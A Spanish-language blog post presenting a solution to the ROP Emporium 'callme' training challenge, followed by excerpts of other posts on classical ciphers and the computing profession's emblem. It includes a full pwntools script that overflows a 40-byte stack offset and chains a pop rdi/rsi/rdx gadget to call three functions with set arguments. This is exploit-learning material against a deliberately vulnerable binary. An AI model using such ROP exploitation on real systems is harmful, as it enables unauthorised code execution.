Ir al contenido principal

Binary Exploitation (XX): Solución Reto ROP Emporium "callme"

Continúo poniendo las soluciones de un sitio que he encontrado para aprender ROP, ‘Return Oriented Programming’ (en español, Programación Orientada al Retorno), a través de una serie de desafíos diseñados para enseñar diversas técnicas.

Como siempre utilizo la versión de 64 bits del desafío.

En este post la solución al reto que lleva por título "callme", y que, en mi opinión, presenta un nivel de dificultad medio (★★☆).

Enunciado:

Además, se explica que la PLT ('Procedure Linkage Table') se utiliza para resolver en tiempo de ejecución direcciones de funciones en bibliotecas importadas, y a modo de instrucciones se proporcionan las siguientes:

Important:
To dispose of the need for any RE I'll tell you the following:
You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag. For the x86_64 binary double up those values, e.g. callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)

Don't get distracted by the incorrect calls to these functions made in the binary, they're there to ensure these functions get linked. You can also ignore the .dat files and encrypted flag in this challenge, they're there to ensure the functions must be called in the correct order.

Solución:

1.- Se proporcionan cinco archivos: callme, encrypted_flag.dat, key1.dat, key2.dat y libcallme.so. Por el último párrafo de las instrucciones entiendo que puedo obviar los tres ficheros .dat.

Lo primero que hago es ejecutar el archivo callme y veo que es vulnerable a un ataque de desbordamiento de 'buffer' (en inglés, 'buffer overflow'):
2.- Compruebo los mecanismos de seguridad del binario utilizando ‘checksec’ y veo que ‘NX’ está habilitado, lo que significa que la pila es no ejecutable:
3.- Decompilo el binario usando ‘Ghidra’ y veo que en la función main() se realiza una llamada a la función pwnme():
En la función pwnme(), que es donde el programa es vulnerable a un desbordamiento de 'buffer'el 'buffer' tiene un tamaño de 32 bytes (0x20) y la dirección de retorno de la función pwnme() tendría un desplazamiento de 0x28 bytes (40) desde el inicio del buffer:
Además, veo que la funcióusefulFunction(), a la que no se llama nunca, realiza sendas llamadas a las tres funciones que hay que llamar en el reto para que se muestre la flag, sin embargo no se llaman en el orden correcto ni se les pasan los valores adecuados de los parámetros para ello:
Desensamblo la función usefulFunction() utilizando 'gdb', y veo que las direcciones de las funciones callme_one(), callme_two() y callme_three() son '0x400720', '0x400740', '0x4006f0', respectivamente:
Ya tengo toda la información necesaria para crear el 'exploit' (aunque para una mejor comprensión de la solución he obtenido de forma manual las direcciones de las tres funciones a llamar, en el 'script' de python dejaré que se obtengan por mi de forma automática).

4.- El plan de ataque consiste en sobrescribir la dirección de retorno de la función pwnme() con la de inicio de una cadena ROP (en inglés, 'ROP chain'que llame a las tres funciones en el orden correcto y con los parámetros adecuados en cada llamada, lo que mostrará la flag.

5.- Creo el 'exploit' mediante un pequeño 'script' en python y lo ejecuto:

Antes de crear el 'exploit', tal y como dije en el post anterior, conviene recordar que. al contrario que en los binarios de 32 bits en los que los argumentos se pasan a las funciones a través de la pila, en los de 64 bits los 6 primeros argumentos se pasan a las funciones a través de registros. En concreto, el primer argumento se pasa a través del registro RDI, el segundo en RSI y el tercero en RDX.

Para localizar en el propio binario un 'gadget' o 'gadgets' que me puedan servir para incluir cada uno de los parámetros en su correspondiente registro actúo de la siguiente manera, y veo que en la dirección '0x000000000040093c' existe un 'gadget' que me puede servir perfectamente para ello:
A partir de aquí, creo un pequeño 'script' en python y lo ejecuto:

from pwn import *

# Indicar a pwntools el binario objetivo
elf = context.binary = ELF('callme')

# Relleno hasta la dirección de retorno de pwnme()
offset_padding = b'A'*40

# Dirección del gadget: pop rdi ; pop rsi ; pop rdx ; ret
info('0x40093c pop rdi; pop rsi; pop rdx; ret')
gadget = p64(0x000000000040093c)

# Argumentos
arg_1 = p64(0xdeadbeefdeadbeef)
arg_2 = p64(0xcafebabecafebabe)
arg_3 = p64(0xd00df00dd00df00d)

# Direcciones de las funciones callme
info('%#x callme_one', elf.symbols.callme_one)
callme_one = p64(elf.symbols.callme_one)
info('%#x callme_two', elf.symbols.callme_two)
callme_two = p64(elf.symbols.callme_two)
info('%#x callme_three', elf.symbols.callme_three)
callme_three = p64(elf.symbols.callme_three)

# Enviar
p = process(elf.path)
payload = offset_padding+gadget+arg_1+arg_2+arg_3+callme_one+gadget+arg_1+arg_2+arg_3+callme_two+gadget+arg_1+arg_2+arg_3+callme_three
p.sendline(payload)

# Recibir e imprimir
print(p.recvall())

Comentarios

Entradas populares de este blog

Criptografía (I): cifrado Vigenère y criptoanálisis Kasiski

Hace unos días mi amigo Iñaki Regidor ( @Inaki_Regidor ), a quien dedico esta entrada :), compartió en las redes sociales un post titulado "Criptografía: el arte de esconder mensajes"  publicado en uno de los blogs de EiTB . En ese post se explican ciertos métodos clásicos para cifrar mensajes , entre ellos el cifrado de Vigenère , y , al final del mismo, se propone un reto consistente en descifrar un mensaje , lo que me ha animado a escribir este post sobre el método Kasiski  para atacar un cifrado polialfabético ( conociendo la clave descifrar el mensaje es muy fácil, pero lo que contaré en este post es la forma de hacerlo sin saberla ). El mensaje a descifrar es el siguiente: LNUDVMUYRMUDVLLPXAFZUEFAIOVWVMUOVMUEVMUEZCUDVSYWCIVCFGUCUNYCGALLGRCYTIJTRNNPJQOPJEMZITYLIAYYKRYEFDUDCAMAVRMZEAMBLEXPJCCQIEHPJTYXVNMLAEZTIMUOFRUFC Como ya he dicho el método de Vigenère es un sistema de sustitución polialfabético , lo que significa que, al contrario que en un sistema de

Criptografía (XXIII): cifrado de Hill (I)

En este post me propongo explicar de forma comprensible lo que he entendido sobre el cifrado de Hill , propuesto por el matemático Lester S. Hill , en 1929, y que se basa en emplear una matriz como clave  para cifrar un texto en claro y su inversa para descifrar el criptograma correspondiente . Hay tres cosas que me gustan de la criptografía clásica, además de que considero que ésta es muy didáctica a la hora de comprender los sistemas criptográficos modernos: la primera de ellas es que me "obliga" a repasar conceptos de matemáticas aprendidos hace mucho tiempo y, desgraciadamente, olvidados también hace demasiado tiempo, y, por consiguiente, que, como dice  Dani , amigo y coautor de este blog, me "obliga" a hacer "gimnasia mental"; la segunda es que, en la mayoría de las ocasiones, pueden cifrarse y descifrase los mensajes, e incluso realizarse el criptoanálisis de los criptogramas, sin más que un simple lápiz y papel, es decir, para mi es como un pasat

¿Qué significa el emblema de la profesión informática? (I)

Todas o muchas profesiones tienen un emblema que las representa simbólicamente y en el caso de la  informática: " es el establecido en la resolución de 11 de noviembre de 1977  para las titulaciones universitarias superiores de informática, y  está constituido por una figura representando en su parte central  un  núcleo toroidal de ferrita , atravesado por  hilos de lectura,  escritura e inhibición . El núcleo está rodeado por  dos ramas : una  de  laurel , como símbolo de recompensa, y la otra, de  olivo , como  símbolo de sabiduría. La  corona  será la  de la casa real  española,  y bajo el escudo se inscribirá el acrónimo de la organización. ". Veamos los diferentes elementos tomando como ejemplo el emblema del COIIE/EIIEO (Colegio Oficial de Ingenieros en Informática del País Vasco/ Euskadiko Informatikako Ingeniarien Elkargo Ofiziala ) . Pero no sólo el COIIE/EIIEO adopta el emblema establecido en dicha resolución, sino que éste se adopta también como im